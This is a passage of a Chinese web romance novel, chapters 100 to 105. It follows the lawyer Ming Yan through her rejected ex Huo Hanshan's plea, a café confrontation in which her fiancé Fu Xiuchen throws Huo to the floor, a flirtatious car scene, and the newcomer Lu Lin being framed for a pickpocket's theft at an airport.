“躲什么?”傅修沉低沉的嗓音在她耳边响起,带着一丝未散尽的沙哑,和某种难以言喻的磁性,“刚才不是还挺主动的?” “……” 说得是她方才意乱情迷之下的回应…… 明嫣的脸瞬间红透,连脖颈都染上了绯色,又羞又恼地转过头瞪他,“傅修沉!你……你不准再提了!” 看着她这副色厉内荏的娇嗔模样,傅修沉眼底掠过一丝极淡的笑意,心底那点阴霾,似乎也消散了不少。 他不再逗她,转而握住她微凉的手,牵着她往客厅走去。 “饿了没有?”他语气自然,仿佛刚才那个在玄关恨不得将她生吞活剥的男人不是他一样,“想吃什么,我给你做……” 明嫣被他牵着,亦步亦趋地跟着,手心里沁出薄汗。 她偷偷抬眼瞟他冷峻的侧脸,线条流畅完美,眼尾那颗朱砂痣在灯光下显得格外清晰…… 可偏偏就在这时,傅修沉倏地回眸,正好抓包她偷看的模样。 “看我干什么?”男人微微勾了勾唇,“看来不想吃饭……” 他刻意停顿,视线缓缓扫过她微微张合的唇瓣,“……想吃我?” “!!!” 第100章 订婚又如何?结婚都能离!(加更) 几天后,霍寒山终于可以出院了。 他换下了蓝白条纹的病号服,穿上了一身深灰色的休闲装,衬得他脸色依旧有些苍白。 但眉宇间那股冷峻的气息已然回归,只是眼底深处藏着一丝不易察觉的晦暗。 秦婉一早就来了,忙前忙后,帮着收拾零散的物品。 “寒山,手续我都去办好了,你坐着休息就好,千万别牵动了伤口。”她将最后一件洗漱用品收进包里,目光却若有似无地瞟向坐在沙发上面色不虞的王梅。 王梅今天穿了一件暗紫色的紧身毛衣,外面罩着羊绒披肩,头发梳得一丝不苟,只是眉眼间带着挥之不去的愁绪和一丝隐隐的愤懑。 她看着儿子瘦削的脸颊,心疼得不行,又瞥见秦婉那副殷勤备至的模样,再对比某个连面都没露的人,心里的天平更是倾斜得厉害。 “是啊寒山,听婉儿的,你伤的是胸口,可不是小事,得好好养着。”王梅叹了口气,走到霍寒山身边坐下,欲言又止。 霍寒山没什么表情地“嗯”了一声,目光落在窗外,不知道在想什么。 病房里一时有些安静。 秦婉眼眸微转,像是突然想起了什么,轻轻“啊”了一声,状似无意地对着王梅开口道:“阿姨,您看今天的财经新闻了吗?好像……挺热闹的。” 王梅对这些向来不感兴趣,摆了摆手,“什么新闻不新闻的,我哪有心思看那个。” 秦婉抿了抿唇,声音压低了些,“就是……关于傅修沉和明嫣的……新闻上说傅修沉昨晚在苏富比拍卖行,拍下了一枚粉钻戒指,据说是送给明嫣的订婚礼物,成交价好像……八个亿。” “八个亿?!”王梅猛地拔高了声音,眼睛瞬间瞪圆了,“买个戒指?!八个亿?!” 她像是听到了什么天方夜谭,“这……这明嫣她……她怎么敢要的呀?!这不是乱花钱吗?!傅家再有钱也不能这么烧啊!” 秦婉连忙上前轻轻拍抚王梅的后背,柔声劝道:“阿姨,您别激动,可能……可能是明嫣要的吧?毕竟他们马上就要订婚了……” 她这话看似在劝,实则更是往王梅心头的火苗上浇了一瓢油。 王梅的眉头越皱越紧,当即一把抓住霍寒山的手臂,“寒山!你听见没有?!八个亿!买个戒指!我的老天爷啊!这明嫣……我以前真是看错她了……怎么这么虚荣啊!幸亏你跟她分了!这要是真进了我们霍家的门,我们霍家这点家底,够她买几个戒指的?!” 霍寒山的身体几不可察地僵硬了一瞬,搭在膝盖上的手缓缓攥紧,指节因为用力而泛出青白色。 他下颌线绷得紧紧的,薄唇抿成一条冷硬的直线,眼底阴鸷得吓人。 “妈,”他开口,声音嘶哑低沉,带着一种压抑的怒火,“别说了。” “我为什么不能说?!”王梅正在气头上,根本没注意到儿子异常难看的脸色。 “照我说,还是婉儿好!懂事,体贴,知道心疼人!你看看你这几天住院,都是婉儿忙里忙外地照顾着,多踏实一孩子!哪像那个爱慕虚荣的明嫣,除了会勾着男人给她花钱,还会什么?!” “她不是那样的人!” 霍寒山猛地低吼出声,胸口因激动而传来一阵闷痛,让他忍不住蹙紧了眉头,脸色又白了几分。 这个世界上所有人都有可能爱慕虚荣,唯独明嫣不会! 她连自己随手送的一张电影票根都小心翼翼地当宝贝收藏起来…… 哪怕那只是些不值钱的东西…… 想到这里,一股又酸又涩的热流猛地冲上鼻腔和眼眶,让他眼前阵阵发黑,视线都变得模糊起来。 他死死咬着牙关,才勉强将那阵汹涌的泪意逼退回去,但眼眶却不受控制地泛起了骇人的红。 王梅被他这副模样吓到了,她愣了好一会儿,才皱着眉头,“寒山!你怎么就这么死心眼呢?!她都要跟别人订婚了……” “订婚又如何!” 霍寒山像是被彻底激怒的困兽,猛地从沙发上站起来,动作太大牵扯到胸口的伤,一阵剧痛袭来,他闷哼一声,身体晃了晃,额角瞬间沁出细密的冷汗。 他忍着剧痛,站直身体,一字一句,像是从齿缝里碾磨出来,“结婚都能离!” 说完,他不再看王梅瞬间愕然煞白的脸,猛地转身,大步朝着病房外走去。 …… 而与此同时,嫣然律所。 明嫣今天穿了一身干练的白色西装套裙,衬得她肤白胜雪,腰细腿长。 “老板早!”前台小妹笑容灿烂地打招呼,目光却像装了雷达,精准地扫过明嫣纤细的手指。 空无一物。 陆奉归正好抱着一叠文件从工位起身,见状也凑了过来,挤眉弄眼,语气里是按捺不住的八卦:“老大,早啊!我们昨天看到新闻了!” 前台小妹点头如啄米,“傅总也太浪漫了吧!苏富比拍卖行!八个亿的粉钻!我的天呐!” 她双手捧心,一副快要晕过去的样子,“八个亿啊!那得是多少个零啊!我们这种凡人简直无法想象!新闻上说那粉钻有鸽子蛋那么大,纯净度还是顶级的,是不是真的呀?” 陆奉归赶紧接腔,搓着手,一脸谄媚:“就是就是!老大,您就行行好,让我们开开眼呗?” 明嫣的脸“腾”地一下就红了,一直蔓延到耳根。 八个亿…… 她现在听到这三个字就腿软腰酸。 连带着昨晚某些不可描述的画面不受控制地涌入脑海。 “胡说八道什么!”明嫣强装镇定,板起脸,“哪有八个亿的戒指?新闻都是捕风捉影,瞎写的!赶紧干活去!” 她撂下狠话,转身就想逃回自己的办公室。 然而,就在她转身的刹那,律所的玻璃门被人从外面推开,门上的风铃发出清脆的撞击声。 一道高大却略显消瘦的身影,逆着光站在门口。 室内轻松调侃的气氛瞬间凝滞。 陆奉归脸上的笑容僵住,下意识地收敛了神色。 明嫣的脚步也顿在原地,看着门口那个不速之客,眉头几不可察地蹙起。 是霍寒山。 第101章 只是……她不爱了 霍寒山站在律所门口,身形比之前清瘦了许多,深灰色的休闲装穿在他身上竟显得有些空荡。 阳光从他身后照进来,勾勒出他单薄的轮廓。 明嫣微微皱了皱眉,“霍律师,有事?” 霍寒山喉结艰难地滚动了一下,声音嘶哑得厉害,“能……单独谈谈吗?” 他的目光里带着一种近乎卑微的恳求,与从前那个冷峻疏离的霍寒山判若两人。 明嫣看了一眼律所里竖着耳朵的众人,这里显然不是说话的地方。 她沉默了几秒,目光越过他,指了指斜对面那家安静的咖啡厅,“去那里说吧。” 霍寒山黯淡的眼底瞬间掠过一丝微光,连忙点头,“好。” 明嫣没再看他,率先走了出去。 霍寒山跟在她身后,脚步有些虚浮,每一步都像是踩在棉花上,但他依旧强撑着,目光贪恋地落在她纤细挺拔的背影上。 …… 两人一前一后走进咖啡厅,选了个靠窗的僻静位置坐下。 阳光透过巨大的落地玻璃窗照进来,在铺着米白色桌布的小圆桌上投下斑驳的光影。 明嫣点了一杯热美式,给霍寒山要了一杯温牛奶。 侍应生离开后,气氛一时有些凝滞。 窗外的车流声模糊地传进来,更衬得这一隅安静得令人不适。 “你的伤……医生怎么说?”明嫣率先打破沉默。 “还好……”霍寒山的声音低沉,“死不了。” 明嫣搅拌咖啡的动作微顿,抬起眼看他,“霍寒山,我很感谢你那天救了我。这份恩情,我记着。但是……” “我不要你的感谢!”霍寒山猛地打断她,情绪有些激动,牵扯到胸口的伤,他忍不住蹙眉闷咳了几声,苍白的脸上泛起不正常的红晕。 “明嫣,我知道我以前混蛋,我眼瞎,我把你的真心当成草芥……我知道我现在说这些很可笑,很无耻……但是,你看,我差点把命都赔给你了……能不能……再给我一次机会?就一次……” 明嫣看着他这副样子,心头又酸又胀,但更多的是一种无力感。 “霍寒山,你别这样……” 她深吸一口气,强迫自己冷静,“我们之间早就过去了。感激不是爱情,你救我,我很感激,但这不代表我们还能回到从前。你明白吗?” “我不明白!”霍寒山猛地抬头,眼底的血色蔓延开来,“为什么之前那次可以,这次就不可以了?!” 明嫣不由得一怔,这才反应过来,他说的是五年前巷口救自己的那件事…… 她握着咖啡杯的指尖微微收紧——他怎么会……突然提这个? 霍寒山紧紧盯着她,胸口因激动和伤痛而微微起伏,他执拗地想要寻求一个答案,一个能让他抓住最后一根浮木的答案。 “为什么……明明都是救你,五年前那次,你就可以因此……喜欢上我,留在我身边整整五年!为什么这次不行?!是我这次伤得不够重?还是……” 明嫣看着他近乎偏执的眼神,沉默了几秒,长长的睫毛垂下,遮住了眼底翻涌的情绪,再抬眼时,目光已经恢复了平静。 “那不一样。”她开口,声音很轻,却像是一块冰,砸在霍寒山炽热而混乱的心上。 “哪里不一样?!”霍寒山几乎是立刻追问,身体前倾。 明嫣看着他,看着这个她曾经倾注了全部热情和爱恋的男人,如今却要用这种方式来索求一份早已熄灭的感情。 她忽然觉得有些可悲,为他也为自己。 她抿了抿唇,终究还是说出了口,声音清晰而冷静,“因为那时……我喜欢你。” 话音落下,空气死寂。 霍寒山的瞳孔猛地收缩,像是被一道惊雷劈中,整个人僵在原地,连呼吸都停滞了。 “那时……喜欢……”他无意识地重复着这几个字,心脏像是被一只无形的手狠狠攥住,痛得他眼前发黑。 那时的喜欢,所以他的出现如同英雄,照亮了她整个世界,让她飞蛾扑火,义无反顾。 那……现在呢? 明嫣没有说,但那未尽的言语却刺穿了他所有的侥幸和期盼。 现在…… 不喜欢了。 所以,哪怕他豁出性命,在她眼里,也只是一份需要偿还的恩情,一份沉重的负担,再也无法与爱情挂钩。 巨大的绝望如同冰冷的潮水,灭顶而来。 他张着嘴,却发不出任何声音,只有粗重破碎的喘息,眼眶迅速泛上骇人的红,血丝弥漫,像是下一刻就要滴出血来。 原来…… 不是时机不对,不是方式不对。 只是…… 她不爱了。 …… 与此同时,咖啡厅外不远处的街角。 一辆极其拉风的亮红色法拉利跑车,一个漂亮的甩尾,稳稳停在了路边的临时车位上,引来不少路人的侧目。 驾驶座上,许宴清嘴里叼着一支未点燃的烟,俊朗的脸上带着惯有的玩世不恭,正漫无目的地扫视着街景,视线掠过那家格调不错的咖啡厅落地窗时,猛地顿住。 “哟呵?”他挑了挑眉,像是发现了什么有趣的事情,唇角勾起一抹戏谑的弧度。 副驾驶座上,一个妆容精致的漂亮女伴顺着他的目光看去,也看到了窗边那对容貌出众年轻男女。 尤其是那个穿着白色西装的女人,侧脸线条优美,气质清冷,让她莫名生出一丝嫉妒。 “许少,看什么呢?是不是看上人家了?”女伴嘟着嘴,带着点酸意,轻轻推了他一下,“人家可是有男朋友的,正闹别扭呢吧……” “男朋友?”许宴清嗤笑一声,拿下嘴里的烟,那双桃花眼里闪过一丝看好戏的兴奋,“什么狗屁男朋友?” 他一边说着,一边动作利落地掏出手机,调整焦距,对着窗边那两人,“咔嚓”“咔嚓”就是好几张连拍,角度刁钻,看起来竟有几分……纠缠不清的意味。 “老子这叫——捉奸。” 许宴清邪气地笑了笑,手指飞快地在屏幕上操作着,点开傅修沉的微信,毫不犹豫地将刚拍下的照片发了过去…… 第102章 别把自己伪装得像个情圣 【图片】…… 【图片】…… 【图片】…… 发完照片,许宴清还附带了一条唯恐天下不乱的语音:“傅少!快看你家后院着火啦!姓霍的这孙子还是不死心,拖着半条命又来撬墙角了!这你能忍?!” 发送成功。 许宴清叼着烟,眯着眼,一脸看好戏的表情,等着电话那头傅修沉的反应。 然而,左等右等,手机安静如鸡,连个‘正在输入’的提示都没有。 许宴清拧起了眉头,有些沉不住气了。 难道在开会? 没看见? 他干脆一个电话直接拨了过去。 电话响了几声后被接起,那边传来傅修沉一如既往低沉平稳的嗓音,听不出什么情绪:“说。” “我给你发的照片你收到没有?!” 电话那头沉默了两秒,随即傅修沉的声音依旧没什么起伏:“收到了。” 许宴清:“???” 就这? “然后呢?!”许宴清音调拔高,差点破音,“你就没点反应?!你家明律师都要跟人跑了!” 电话那头,傅修沉似乎轻笑了一声。 “她不会。”他的语气笃定得令人发指。 “不会?你怎么知道不会?!霍寒山那小子可是为她挨了一刀!现在正虚弱着呢!女人最是心软,万一明嫣一个感动,旧情复燃……” “我家小姑娘,”傅修沉淡淡打断他,嗓音里甚至带着一丝不易察觉的宠溺,“只要是她自己决定放弃了的,就绝不会再回头。” 许宴清被他这稳坐钓鱼台的架势给噎住了,半晌才悻悻地撇嘴,语气带着几分戏谑的调侃:“啧……不愧是暗恋了人家十多年的老男人,知道的真多,这么有信心?” 他正说着,电话那头隐约传来一些嘈杂的背景音,似乎是引擎启动的声音,还有轻微的风声。 许宴清敏锐地捕捉到了,疑惑地问:“诶,你那边什么声音?你在哪儿呢?” 傅修沉没有回答他的问题,只是淡淡道:“没什么事我挂了。” “哎你……”许宴清话还没说完,听筒里就传来了‘嘟嘟’的忙音。 “靠!” 许宴清没好气地骂了一句,收起手机,对着身旁的嫩模吐槽,“看见没?这就是典型的皇帝不急太监急!呸!老子才不是太监!” 他嘟囔着,准备发动车子。 然而,就在他刚拧动车钥匙,跑车引擎发出低沉咆哮的瞬间—— 一阵低沉而充满力量的马达轰鸣声,由远及近,瞬间压过了他跑车的声响。 许宴清动作一顿,下意识地抬头望去。 只见一辆线条流畅凌厉,通体漆黑的宾利轿车滑到了他的红色法拉利旁边,稳稳停下。 车窗是深色的,看不清里面的情形,但那独一无二的车牌号和车身散发出的冷冽气场,许宴清闭着眼睛都能认出来。 许宴清:“……” 服了! 电话里倒是平稳得跟什么似的,结果挂电话才几分钟? 这打脸来得也太快了吧?! 怕是接到他的信息就直接油门踩到底杀过来现场了吧?! …… 而此时的咖啡厅里。 霍寒山胸口剧烈起伏,眼眸此刻布满骇人的红血丝。 “那时喜欢……那现在呢?现在就连一点可能都没有了吗?” 他声音嘶哑得厉害,“我知道我错了,我真的知道错了……明嫣……我这条命都可以给你……我只求你……再看看我……” 他说着,情绪彻底失控,竟然猛地握住明嫣的手腕—— 明嫣被他这突如其来的动作惊得猛地从座位上站起,椅子腿与地面摩擦发出刺耳的声响。 “霍寒山!你放开我!” 他的手指冰凉,力道却大得吓人,像是溺水之人抓住最后一根浮木。 “我不放……除非你答应我……明嫣,就一次……最后一次机会……求你……” 就在明嫣被他攥得手腕生疼,心乱如麻,不知该如何摆脱这令人窒息的一幕时—— “砰!” 咖啡厅的门被人从外面猛地推开,门上的风铃被撞得发出一连串急促而凌乱的脆响。 一道高大挺拔的身影逆着光站在门口,瞬间吸引了所有人的目光。 傅修沉迈步而入,径直朝着明嫣走去,带着一股迫人的低气压。 他长臂一伸,强势地揽住了她纤细的腰肢,将她往自己怀里一带,以一种绝对占有的姿态,将她护在了身后。 “霍律师,”他开口,声音不高,带着一种漫不经心的嘲弄,“你这唱的是哪一出?一哭二闹三上吊?苦肉计用到这个份上,未免也太难看了点。” 霍寒山死死瞪向傅修沉,那目光里的恨意和怨毒几乎要凝成实质。 “傅修沉!”霍寒山从牙缝里挤出这个名字,声音嘶哑破碎,“你少在这里得意!你以为你就赢了吗?!你不过是……” 所有的话到了嘴边却戛然而止。 傅修沉眉头微挑,“只不过是什么?霍律师倒是说啊?” 他向前半步,逼近霍寒山,强大的压迫感让霍寒山呼吸一窒。 “霍寒山,别把自己伪装得像个情圣。” 他的声音压得很低,“需要我提醒你吗?是你不懂得珍惜,亲手弄丢了她。现在她不要你了,你倒跑来演深情?省省吧,你这副样子,只会让她更恶心。” “你闭嘴!”霍寒山被他的话刺激得彻底失去了理智,胸口剧烈的起伏牵动了伤口,一阵尖锐的疼痛让他眼前发黑,但他还是强撑着,猛地挥拳就朝着傅修沉的面门砸去! 然而,他重伤未愈,体力不支,动作在傅修沉眼里更是慢得可笑。 傅修沉甚至连脚步都没挪动一下,只是揽着明嫣腰的手臂微微收紧,空着的另一只手擒住了霍寒山砸来的手腕,力道大得惊人,如同铁钳般死死箍住。 “呃……”霍寒山闷哼一声,手腕处传来骨骼欲裂的剧痛,让他额角的冷汗瞬间涔涔而下。 胸口的伤处也因为这番剧烈动作而传来撕裂般的痛楚,脸色瞬间由白转青,嘴唇不受控制地哆嗦着。 傅修沉眼神冰冷,没有丝毫怜悯,手腕猛地用力一拧一推—— “噗通!” 霍寒山根本无法抗衡那股巨大的力量,整个人被掼得踉跄着向后倒去,脊背重重撞在旁边的咖啡桌上,杯碟哗啦啦摔了一地,发出刺耳的碎裂声。 他狼狈地蜷缩在地上,捂着胸口,疼得浑身痉挛,连一句完整的话都说不出来,只有破碎的喘息和压抑的痛哼。 傅修沉居高临下地看着他,“霍寒山,看在你替我未婚妻挡过一刀的份上,这次只是警告。” 他微微俯身,压低了声音,用只有两人能听到的音量,一字一句道,“别再肖想你不该碰的人。” “否则,我不介意让明寒律所,彻底滚出江南。” 傅修沉直起身,不再看地上的霍寒山,揽着明嫣转身离开。 咖啡厅里一片死寂,只剩下霍寒山压抑痛苦的喘息。 侍应生和其他客人都吓得噤若寒蝉,远远看着,不敢上前。 第103章 叫老公……(加更) 黑色的宾利平稳地行驶在回别墅的路上。 车厢内弥漫着一种微妙的沉默。 傅修沉专注地看着前方路况,侧脸线条冷硬,下颌线绷得有些紧,显然心情并不像他表现出来的那么平静。 明嫣偷偷瞟了他好几眼,抿了抿唇,犹豫了一下,还是主动打破了沉默,“那个……你是不是生气了?” 傅修沉没回头,只是喉结滚动了一下,从鼻腔里发出一声意味不明的:“哼。” 明嫣伸出手,轻轻扯了扯他的衬衫袖口,晃了晃,“我也不知道他会那样……我都吓死了,还好你来了。” 这小丫头倒是难得的哄人…… 傅修沉紧绷的脸色终于缓和了一丝,他侧过头,深邃的目光落在她双清澈的眼睛,里面映着他的影子,心底那点醋意和怒火,奇异地被抚平了大半,取而代之的是一股痒意…… “哄人就这么没诚意?” 他挑了挑眉,方向盘一打,将车子稳稳地靠边停下。 “啊?” 明嫣一愣,还没反应过来,就见傅修沉已经解开了安全带,侧过身,深邃的眼眸一瞬不瞬地盯着她,里面像是燃着两簇暗火。 “那你想怎么样?”明嫣被他看得心跳漏了一拍,下意识地往后缩了缩,后背抵在了车门上。 傅修沉就着这个姿势,指尖顺着她的小臂缓缓向上,带着燎原的火星,最终停留在她微微泛红的耳垂,轻轻捏了捏。 他俯身靠近,温热的气息拂过她的耳廓,声音压低,带着蛊惑人心的磁性,一字一句地诱哄:“叫哥哥。” 明嫣的脸‘轰’地一下全红了,连脖颈都染上了绯色。 她羞恼地瞪他,水盈盈的眸子里满是嗔怪:“傅修沉!你……你……谁要叫你哥哥!” “不叫?” 傅修沉从喉咙里溢出一声低笑,似乎早就料到她会是这个反应,他非但没有后退,反而靠得更近,鼻尖几乎要蹭到她的,视线落在她微微张合的唇瓣上,眸色渐深,“那……叫老公。” “!!!” “傅修沉!”她羞恼地低吼,抬手就想捶他,“你……你要不要脸!” 什么老公! 他们还没订婚呢! 看着她爆红的脸颊和又羞又恼的眼神,傅修沉眼底的笑意更深。 傅修沉轻而易举地擒住她砸过来的小拳头,顺势将她两只手腕都扣住,拉高,按在了她头顶的车窗上。 这个姿势让她不得不微微仰起头,露出纤细脆弱的脖颈和染满红霞的脸颊。 “不要脸?”他低笑,俊脸逼近,鼻尖蹭着她的,呼吸交融,语气里带着一种痞坏的诱惑,“要脸怎么追得到老婆?” 灼热的气息交织,车内狭小的空间里温度骤然升高。 明嫣被他逼得后退,脊背抵在微凉的车窗上,退无可退。 “你……你人设崩塌了!” 明嫣被他禁锢着,动弹不得,只能瞪着一双水盈盈的眸子控诉他,“说好的清冷禁欲呢?都是骗人的!” 傅修沉闻言,非但没有收敛,反而笑得更加恣意,眼尾那颗朱砂痣红得妖冶,像是雪地里骤然绽放的红梅,夺人心魄。 他低头,用高挺的鼻梁轻轻蹭了蹭她的鼻尖,动作亲昵得令人心尖发颤。 “禁欲?”他重复着这四个字,嗓音低沉喑哑,“那是对别人。” 他的唇几乎要贴上她的,灼热的气息拂过她的唇瓣,带来一阵阵战栗。 “对你……”他顿了顿,“只有欲。” 说完,他不再给她说话的机会,俯身吻住了她的唇瓣。 “唔……” 这个吻带着不容抗拒的强势和一丝惩罚性的啃咬,但更多的是浓得化不开的眷恋与占有。 他勾着她的舌尖,肆意吮吸,仿佛要将她胸腔里所有的空气都掠夺殆尽,要将她灵魂都打上自己的烙印。 明嫣的大脑一片空白,所有的挣扎和抗议都被这个炽热深入的吻搅得粉碎。 氧气变得稀薄,意识逐渐模糊,她只能被动地承受着,身体软得一塌糊涂,全靠他扣住她手腕的力量和抵住她的身体支撑着,才不至于滑落。 意乱情迷间,明嫣感觉到他抓住了她的手,然后,牵引着,缓缓地贴上了他衬衫下紧实灼热的腹肌。 隔着一层薄薄的布料,那壁垒分明的触感,带着惊人的热度和力量,烫得明嫣指尖猛地一颤,下意识地想缩回手,却被他更用力地按住。 他的唇移到她的耳畔,喘息粗重,声音沙哑得不成样子,带着极致的诱惑,一遍遍地诱哄:“叫老公,给你摸腹肌……嗯?” 他的气息灼热,喷洒在她最敏感的耳廓和颈侧,带来一阵阵过电般的酥麻。 手心下是他紧绷的腹肌线条,耳边是他低沉磁性的诱哄。 明嫣只觉得脸红得简直要滴出血来,全身的血液仿佛都涌到了头顶,耳朵里嗡嗡作响。 这个流氓! 混蛋! 老司机! 他怎么能……怎么能这么面不改色地说出这种话! “你……你放开……”她声音细弱蚊蚋,带着羞愤地颤抖,被他抓着的手指尖都在发烫。 “不放。”傅修沉看着她羞得无处可藏的模样,眼底的欲色更浓,像化不开的浓墨。 他再次低头,吻了吻她微微红肿的唇瓣,带着安抚,却又更像是一种煽风点火。 “嫣嫣,”他唤她,声音低哑缱绻,带着无尽的诱惑,“还有十天……” 他的唇流连到她的耳畔,含住她的耳垂,不轻不重地吮吸啃咬,带来一阵阵灭顶的酥麻。 “十天太久了……”他叹息般低语,滚烫的呼吸钻进她的耳廓。 “要不……”傅修沉微微抬起头,“我们直接改结婚吧?” “!!!” “傅修沉!你……你别闹!”她用力推拒着他紧实的胸膛,气息不稳,“说好的订婚!哪能说改就改!” 傅修沉看着她绯红的脸颊和因为羞恼而格外明亮的眼睛,像只被惹急了的小兔子,可爱得让人心痒难耐。 他低低地笑了起来,胸腔震动,连带着被他半拥在怀里的明嫣也感受到了那份愉悦和……不容忽视的灼热。 “我没闹。”他语气认真,指尖轻轻拂开她颊边汗湿的碎发,目光温柔而专注,“你都不知道我盼这一天盼了多久……” ——想早点把她娶回家。 第104章 陆凛 与此同时,傅家老宅。 红木茶几上沏着上好的龙井,茶香袅袅。 傅老爷子端坐在主位太师椅上,指尖盘着两颗油光水亮的核桃。 傅老夫人挨着他坐着,下首坐着傅承慧,手指紧张地绞着丝帕,眼巴巴望着门口。 “爸,妈,小凛说航班准时落地的,这个点儿该到了呀……”傅承慧忍不住又看了眼墙上的古董挂钟。 傅老爷子从鼻子里哼了一声,“急什么?二十好几的人了,还能丢了不成?” 话虽如此,他自己也忍不住朝门口瞟了一眼。 老二傅承平不争气,被发配去了外地,身边能指望的晚辈,除了那个翅膀硬得管不了的大孙子,也就剩下这个小外孙了。 “哎呀,爸,我这不是……” ‘轰——’ 可还没等傅承慧说完,就听见一阵发动机轰鸣声由远及近传来—— “什么声音?”傅老爷子眉头一皱,放下茶杯。 众人尚未反应过来,只听那轰鸣声竟径直闯入宅院! 透过客厅的落地窗,隐约可见一道迅捷的黑影穿过前庭花厅,带起一阵疾风,刮得花草摇曳! 转眼间,那黑影已精准地刹停在后花园的草坪上。 引擎熄火,尘埃落定。 众人急忙涌向通往花园的门口。 只见一个高大挺拔的身影跨坐在一辆重型机车上。 头盔不知何时已被他取下,虚虚地拎在手上。 他穿了件做旧款的黑色机车夹克,拉链只拉到一半,露出里面简单的白色体恤领口,半遮着线条分明的喉结,他本就生了一张攻击性极强的脸,一头惹眼的金色短发越发衬得五官深邃锐利,为他平添了几分桀骜难驯的气息。 “陆……陆凛?!” 待傅承慧认出来人,差点儿要晕过去。 陆凛却像是没察觉到客厅里凝滞的气氛,嘴角勾起一抹弧度,迈着长腿走了进来,“外公,外婆,妈,我回来了。” “你……你……”傅老爷子指着他,手指都在发抖,“你这是什么鬼样子?!啊?!头发染得跟金毛狮王似的!穿的这是什么破烂衣服!还有那摩托车!” 越说越气,老爷子猛地站起身,左右环顾,像是要找趁手的东西,“家法!我的藤条呢?!今天非抽死你个不肖子孙不可!” 傅承慧吓得魂飞魄散,赶紧扑上去拦住,“爸!爸您消消气!小凛他刚回来,时差还没倒过来呢!他肯定不是故意的!” 一边说一边拼命给儿子使眼色。 傅老夫人也连忙起身劝:“老头子!孩子刚进门,有什么话不能好好说!” 陆凛却浑不在意地挑了挑眉,“外公,这都什么年代了?骑机车犯法啊?我这头发,国外挺流行的。” 他不说话还好,一说话更是火上浇油。 傅老爷子气得差点仰倒,“流行?我让你流行!” 说着就要挣脱傅承慧去拿家法。 一时间,客厅里鸡飞狗跳。 好不容易被按回椅子上,傅老爷子呼哧呼哧喘着粗气,看着眼前的黄毛外孙,只觉得心口疼。 他原本想着,这孩子学历漂亮,放在傅氏磨炼几年,未必不能成器,好歹是自家人,总比外人可靠。 可现在一看这德行…… 傅老爷子闭了闭眼,再睁开时,带着一种眼不见为净的决绝,大手一挥:“别在我跟前晃悠!明天就给我滚去江南找你大哥!从他身边的基层岗位做起……” 傅承慧一听就急了:“爸!基层?小凛他可是双硕士啊!这……” “双硕士顶个屁用!看他这身打扮,像能干正事的人吗?!”傅老爷子余怒未消,“干不好,就别回我这个门!傅家不养废物!” 傅承慧眼前一黑,她好不容易在傅氏集团争取来的职位,就这么泡汤了! …… 江南国际机场。 明嫣穿着一身利落的米白色风衣,长发挽起,露出光洁的额头和修长的脖颈,站在国内到达口,等待着一位从北城来的重要客户。 机场人流熙攘,她专注地看着出口方向,没留意到身后一个鬼鬼祟祟的身影。 一个扒手趁乱靠近一位旅客,飞快地窃取了钱包,得手后立刻低头疾走,恰好与正低头看手机的明嫣擦肩而过。 “我的包?!小偷,抓小偷!” 听到身后的呼喊和骚动,扒手心下一慌,眼见不远处有个戴着耳机的高大男人正背对着他,拉开的背包侧袋敞开着,他想也没想,顺手就将刚得手的钱包塞了进去,然后迅速拐进旁边的洗手间,消失不见。 明嫣也被这边的动静吸引,下意识地回头,正好看到那位旅客焦急地指着前方那个戴着耳机的高大男人—— “是他!快抓住他!” 眼见着那人正好与自己擦肩而过,明嫣想也没想地一把抓住了对方的手腕。 此时的陆凛正准备大哥傅修沉打电话,冷不丁被人攥住了手腕,不禁微微蹙了蹙没,不耐地摘下耳机,“有事?” 面前是一张极为漂亮的脸。 一双盈盈的桃花眼,马尾下的脸蛋不足巴掌大小,在灯光熏染下就跟白玉一样。 饶是在圈子里见惯姣好颜色的陆凛,也得承认这女人身上有种介于傲骨和媚态的风姿,最是令男人心神意动。 而就在他一愣神的功夫,机场保安和失主也跑了过来,将陆凛围了起来。 “这位先生,有位旅客丢了钱包,麻烦配合一下……”保安上前解释。 陆凛觉得荒谬,嗤笑一声:“我?扒手?开什么玩笑?” 明嫣看着这个男人,一头惹眼的金发,穿着打扮流里流气,神色桀骜,确实不像善茬。 “这位先生,如果是误会,请你打开背包配合检查一下,澄清了就好。” “凭什么?”陆凛眯起眼,语气冷了下来,带着挑衅,“你说检查就检查?你谁啊?” “我是律师。”明嫣亮明身份,语气更沉,“配合调查是公民的义务。如果你坚持不配合,我们只能报警处理了。” “报警?呵。” 陆凛气笑了,他这刚下飞机,就碰上这么个自以为是的女人,“行啊,报!我看你们能查出什么!” 场面一时僵持不下。 最终,机场警方赶到,在陆凛极度不配合却无奈众目睽睽之下,打开了他的背包侧袋——那个失窃的钱包,赫然就在里面! “证据确凿!你还敢狡辩!”失主激动地喊道。 陆凛看着那个凭空多出来的钱包,瞳孔骤缩,瞬间明白了是怎么回事! 他被那个真扒手给坑了! “这不是我拿的!是有人栽赃!”他厉声解释,“是刚才有人塞进我包里的!” 明嫣看着他激动的神色,心里闪过一丝疑虑,但眼下人赃并获。 “这些话,你跟警察回去说吧。” 陆凛回头死死盯了明嫣一眼,他一字一顿,从牙缝里挤出话来:“女人,我记住你了。别让我再碰上你,否则,我非得好好‘收拾’你不可!” 明嫣微微勾了勾唇,“警察先生听见了,可以帮我佐证,这人涉嫌恐吓我,我保留追诉的权利。” 陆凛:“……” ——操! 第105章 冤家路窄 傅修沉赶到警局时,就看见陆凛翘着二郎腿坐在长椅上,那头金发在日光灯下格外扎眼。 他这会儿正百无聊赖地转着手里的笔,听见身后的脚步声,下意识地扭头。 当看清来人是傅修沉时,嘴角一扯:“哟,大哥,劳您大驾。” 傅修沉没理他,径直走向办案民警。 手续办得很快,不过十分钟,兄弟二人前一后走出警局大门。 夜风微凉,傅修沉拉开车门,没什么情绪地扫了陆凛一眼:“上车。” 陆凛耸耸肩,钻进副驾。 车子平稳驶入车流,傅修沉单手扶着方向盘,另一只手松了松领带:“怎么回事?” “被个多管闲事的女人坑了。” 陆凛嗤笑,眼底却没什么笑意,“那女人一口咬定我是小偷,长得挺漂亮,眼睛却瞎得很。” 傅修沉目光看着前方,语气平淡:“你这一头金发,确实不像好人。” 陆凛被他噎住,没好气地耙了耙头发:“国外都这样!谁像你们,一个个穿得跟卖保险似的。” 傅修沉没接话,过了片刻,忽然打了转向灯,“喝一杯?” 陆凛挑眉,略显意外,随即扯开嘴角:“行啊,难得大哥有这闲情逸致。” 很快,车子缓缓驶入烟雨江南的停车场。 傅修沉推开顶层的贵宾包厢,就听见许宴清在嚷嚷,“靠,傅少,稀客啊……” 